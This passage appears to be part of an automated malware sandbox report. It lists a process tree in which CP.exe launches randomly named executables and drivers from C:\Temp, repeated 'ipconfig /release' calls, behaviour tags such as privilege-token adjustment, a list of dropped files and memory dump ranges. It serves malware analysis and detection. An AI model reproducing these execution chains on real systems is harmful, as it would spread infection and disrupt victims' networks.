- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zxspkicaus.exe ups_ins2⤵
-
C:\Temp\i_zxspkicaus.exeC:\Temp\i_zxspkicaus.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mhfzusmkec.exe ups_run2⤵
-
C:\Temp\mhfzusmkec.exeC:\Temp\mhfzusmkec.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mhfzusmkec.exe ups_ins2⤵
-
C:\Temp\i_mhfzusmkec.exeC:\Temp\i_mhfzusmkec.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wtomgezwrp.exe ups_run2⤵
-
C:\Temp\wtomgezwrp.exeC:\Temp\wtomgezwrp.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wtomgezwrp.exe ups_ins2⤵
-
C:\Temp\i_wtomgezwrp.exeC:\Temp\i_wtomgezwrp.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gebwtomgey.exe ups_run2⤵
-
C:\Temp\gebwtomgey.exeC:\Temp\gebwtomgey.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gebwtomgey.exe ups_ins2⤵
-
C:\Temp\i_gebwtomgey.exeC:\Temp\i_gebwtomgey.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\eywqoiytql.exe ups_run2⤵
-
C:\Temp\eywqoiytql.exeC:\Temp\eywqoiytql.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\tojebwtrlj.sysC:\Temp\tojebwtrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\jdbwtomgey.sysC:\Temp\jdbwtomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoj.sysC:\Temp\tolgeywqoj.sys1⤵
- Executes dropped EXE
-
C:\Temp\dywqoigayt.sysC:\Temp\dywqoigayt.sys1⤵
- Executes dropped EXE
-
C:\Temp\nifaxsqkic.sysC:\Temp\nifaxsqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\ysqkicavsn.sysC:\Temp\ysqkicavsn.sys1⤵
- Executes dropped EXE
-
C:\Temp\nhcausmkec.sysC:\Temp\nhcausmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\czupmhfzur.sysC:\Temp\czupmhfzur.sys1⤵
- Executes dropped EXE
-
C:\Temp\pjebwuomge.sysC:\Temp\pjebwuomge.sys1⤵
- Executes dropped EXE
-
C:\Temp\bwuomgeywr.sysC:\Temp\bwuomgeywr.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgbvtolgey.sysC:\Temp\jgbvtolgey.sys1⤵
-
C:\Temp\qoigbytnlg.sysC:\Temp\qoigbytnlg.sys1⤵
-
C:\Temp\davtnlfdxv.sysC:\Temp\davtnlfdxv.sys1⤵
-
C:\Temp\xsqkicavsn.sysC:\Temp\xsqkicavsn.sys1⤵
-
C:\Temp\nhfzxspkic.sysC:\Temp\nhfzxspkic.sys1⤵
-
C:\Temp\xrpkhczusm.sysC:\Temp\xrpkhczusm.sys1⤵
-
C:\Temp\jhbzurmjec.sysC:\Temp\jhbzurmjec.sys1⤵
-
C:\Temp\bztrmjecwu.sysC:\Temp\bztrmjecwu.sys1⤵
-
C:\Temp\ojgbztrlje.sysC:\Temp\ojgbztrlje.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
axsqkidavs.exe
dywqoigayt.sys
ecwuomgezt.exe
geywqoigay.exe
i_axsqkidavs.exe
i_ecwuomgezt.exe
i_geywqoigay.exe
i_nlfdyvqnig.exe
i_omgeywqojg.exe
i_wrpjhbzurm.exe
jdbwtomgey.sys
nifaxsqkic.sys
nlfdyvqnig.exe
omgeywqojg.exe
tojebwtrlj.sys
tolgeywqoj.sys
wrpjhbzurm.exe
ysqkicavsn.sys
autofill_bypass_cache_forms.json
edge_autofill_global_block_list.json
v1FieldTypes.json
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
SiteList-Enterprise.json
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
CURRENT
MANIFEST-000001
d7c81100-1d29-4ea1-b586-91ce2e16f60e.tmp
data.txt
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
crs.pb
ct_config.pb
kp_pinslist.pb
typosquatting_list.pb
metadata.json
metadata.json
metadata.json
metadata.json
3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
metadata.json
manifest.json
manifest.json
keys.json
manifest.json
manifest.json
manifest.json
manifest.json
memory/244-750-0x0000000000010000-0x0000000000083000-memory.dmp
memory/332-614-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/416-62-0x00000000009F0000-0x0000000000A6B000-memory.dmp
memory/460-652-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/564-547-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/656-999-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/752-248-0x0000000000830000-0x00000000008AB000-memory.dmp
memory/756-196-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/784-997-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/908-676-0x0000000000740000-0x00000000007BB000-memory.dmp
memory/1088-616-0x0000000000660000-0x00000000006AB000-memory.dmp
memory/1088-618-0x0000000000660000-0x00000000006AB000-memory.dmp
memory/1096-839-0x0000000000E10000-0x0000000000E5B000-memory.dmp
memory/1096-841-0x0000000000E10000-0x0000000000E5B000-memory.dmp
memory/1180-983-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/1180-843-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1188-63-0x00000000006A0000-0x00000000006EB000-memory.dmp
memory/1188-57-0x00000000006A0000-0x00000000006EB000-memory.dmp
memory/1368-786-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/1428-778-0x0000000000660000-0x00000000006DB000-memory.dmp
memory/1460-738-0x00000000000F0000-0x000000000013B000-memory.dmp
memory/1460-748-0x00000000000F0000-0x000000000013B000-memory.dmp
memory/1460-884-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/1504-588-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/1536-275-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/1556-790-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/1588-549-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/1656-695-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/1696-956-0x0000000000850000-0x00000000008CB000-memory.dmp
memory/2004-228-0x0000000000300000-0x000000000034B000-memory.dmp
memory/2004-238-0x0000000000300000-0x000000000034B000-memory.dmp
memory/2068-890-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/2084-276-0x0000000000C00000-0x0000000000C4B000-memory.dmp
memory/2084-273-0x0000000000C00000-0x0000000000C4B000-memory.dmp
memory/2100-612-0x0000000000680000-0x00000000006FB000-memory.dmp
memory/2112-221-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/2184-849-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/2200-751-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2200-723-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2288-957-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2380-721-0x0000000000FA0000-0x0000000000FEB000-memory.dmp
memory/2380-714-0x0000000000FA0000-0x0000000000FEB000-memory.dmp
memory/2436-268-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2436-555-0x0000000000C20000-0x0000000000C6B000-memory.dmp
memory/2436-557-0x0000000000C20000-0x0000000000C6B000-memory.dmp
memory/2476-548-0x0000000000800000-0x000000000084B000-memory.dmp
memory/2476-538-0x0000000000800000-0x000000000084B000-memory.dmp
memory/2536-600-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2568-951-0x0000000000670000-0x00000000006EB000-memory.dmp
memory/2572-749-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/2580-693-0x0000000000630000-0x00000000006AB000-memory.dmp
memory/2612-962-0x0000000000580000-0x00000000005FB000-memory.dmp
memory/2748-934-0x0000000000E60000-0x0000000000EAB000-memory.dmp
memory/2748-936-0x0000000000E60000-0x0000000000EAB000-memory.dmp
memory/2768-842-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/2784-820-0x0000000000E80000-0x0000000000ECB000-memory.dmp
memory/2784-818-0x0000000000E80000-0x0000000000ECB000-memory.dmp
memory/2808-916-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/2812-881-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/2812-883-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/2816-560-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2916-780-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/3040-937-0x0000000000830000-0x00000000008AB000-memory.dmp
memory/3040-639-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3060-911-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3132-595-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/3132-597-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/3200-250-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/3224-625-0x0000000000680000-0x00000000006FB000-memory.dmp
memory/3248-620-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3364-844-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3364-822-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3380-835-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/3432-735-0x0000000000A80000-0x0000000000ACB000-memory.dmp
memory/3432-733-0x0000000000A80000-0x0000000000ACB000-memory.dmp
memory/3440-277-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/3692-613-0x00000000008F0000-0x000000000093B000-memory.dmp
memory/3692-611-0x00000000008F0000-0x000000000093B000-memory.dmp
memory/3804-266-0x0000000000660000-0x00000000006DB000-memory.dmp
memory/3876-875-0x0000000000680000-0x00000000006CB000-memory.dmp
memory/3876-877-0x0000000000680000-0x00000000006CB000-memory.dmp
memory/3892-262-0x0000000000B70000-0x0000000000BBB000-memory.dmp
memory/3892-265-0x0000000000B70000-0x0000000000BBB000-memory.dmp
memory/3924-734-0x0000000000990000-0x0000000000A0B000-memory.dmp
memory/4024-821-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/4100-195-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/4100-188-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/4132-955-0x0000000000E90000-0x0000000000EDB000-memory.dmp
memory/4132-953-0x0000000000E90000-0x0000000000EDB000-memory.dmp
memory/4260-789-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4260-791-0x0000000000490000-0x00000000004DB000-memory.dmp
memory/4340-792-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/4344-197-0x00000000000B0000-0x00000000000FB000-memory.dmp
memory/4344-0-0x00000000000B0000-0x00000000000FB000-memory.dmp
memory/4356-694-0x0000000000990000-0x00000000009DB000-memory.dmp
memory/4356-692-0x0000000000990000-0x00000000009DB000-memory.dmp
memory/4380-677-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4468-64-0x0000000000660000-0x00000000006DB000-memory.dmp
memory/4488-589-0x0000000000FE0000-0x000000000102B000-memory.dmp
memory/4488-585-0x0000000000FE0000-0x000000000102B000-memory.dmp
memory/4544-239-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/4576-914-0x0000000000860000-0x00000000008DB000-memory.dmp
memory/4628-199-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4640-222-0x0000000000950000-0x000000000099B000-memory.dmp
memory/4640-218-0x0000000000950000-0x000000000099B000-memory.dmp
memory/4644-530-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4656-878-0x00000000009A0000-0x0000000000A1B000-memory.dmp
memory/4676-223-0x00000000009B0000-0x0000000000A2B000-memory.dmp
memory/4780-938-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4792-722-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/4976-948-0x0000000000DB0000-0x0000000000DFB000-memory.dmp
memory/4976-950-0x0000000000DB0000-0x0000000000DFB000-memory.dmp
memory/4996-650-0x00000000009A0000-0x0000000000A1B000-memory.dmp
memory/5000-777-0x0000000000180000-0x00000000001CB000-memory.dmp
memory/5000-779-0x0000000000180000-0x00000000001CB000-memory.dmp
memory/5004-882-0x0000000000890000-0x000000000090B000-memory.dmp
memory/5012-649-0x0000000000960000-0x00000000009AB000-memory.dmp
memory/5012-651-0x0000000000960000-0x00000000009AB000-memory.dmp
memory/5040-961-0x0000000000560000-0x00000000005AB000-memory.dmp
memory/5040-959-0x0000000000560000-0x00000000005AB000-memory.dmp
memory/5064-949-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/5092-673-0x0000000000F50000-0x0000000000F9B000-memory.dmp
memory/5092-675-0x0000000000F50000-0x0000000000F9B000-memory.dmp
memory/5100-836-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/5100-834-0x00000000009E0000-0x0000000000A2B000-memory.dmp
memory/5104-241-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5148-619-0x0000000000980000-0x00000000009FB000-memory.dmp
memory/5176-623-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/5284-847-0x00000000009A0000-0x0000000000A1B000-memory.dmp
memory/5312-590-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/5328-787-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5400-886-0x0000000000F00000-0x0000000000F4B000-memory.dmp
memory/5400-889-0x0000000000F00000-0x0000000000F4B000-memory.dmp
memory/5428-598-0x0000000000960000-0x00000000009DB000-memory.dmp
memory/5448-736-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/5460-622-0x0000000000A80000-0x0000000000ACB000-memory.dmp
memory/5460-624-0x0000000000A80000-0x0000000000ACB000-memory.dmp
memory/5468-879-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5632-785-0x0000000000350000-0x000000000039B000-memory.dmp
memory/5632-782-0x0000000000350000-0x000000000039B000-memory.dmp
memory/5680-848-0x0000000000290000-0x00000000002DB000-memory.dmp
memory/5680-846-0x0000000000290000-0x00000000002DB000-memory.dmp
memory/5700-638-0x00000000009C0000-0x0000000000A3B000-memory.dmp
memory/5808-558-0x0000000000970000-0x00000000009EB000-memory.dmp
memory/5844-249-0x00000000009F0000-0x0000000000A3B000-memory.dmp
memory/5844-246-0x00000000009F0000-0x0000000000A3B000-memory.dmp
memory/5872-635-0x00000000008B0000-0x00000000008FB000-memory.dmp
memory/5872-637-0x00000000008B0000-0x00000000008FB000-memory.dmp
memory/5904-837-0x0000000000690000-0x000000000070B000-memory.dmp
memory/5908-960-0x0000000000690000-0x000000000070B000-memory.dmp
memory/5948-913-0x0000000000F30000-0x0000000000F7B000-memory.dmp
memory/5948-915-0x0000000000F30000-0x0000000000F7B000-memory.dmp
memory/5992-294-0x0000000000840000-0x00000000008BB000-memory.dmp
memory/6076-293-0x0000000000D20000-0x0000000000D6B000-memory.dmp
memory/6076-289-0x0000000000D20000-0x0000000000D6B000-memory.dmp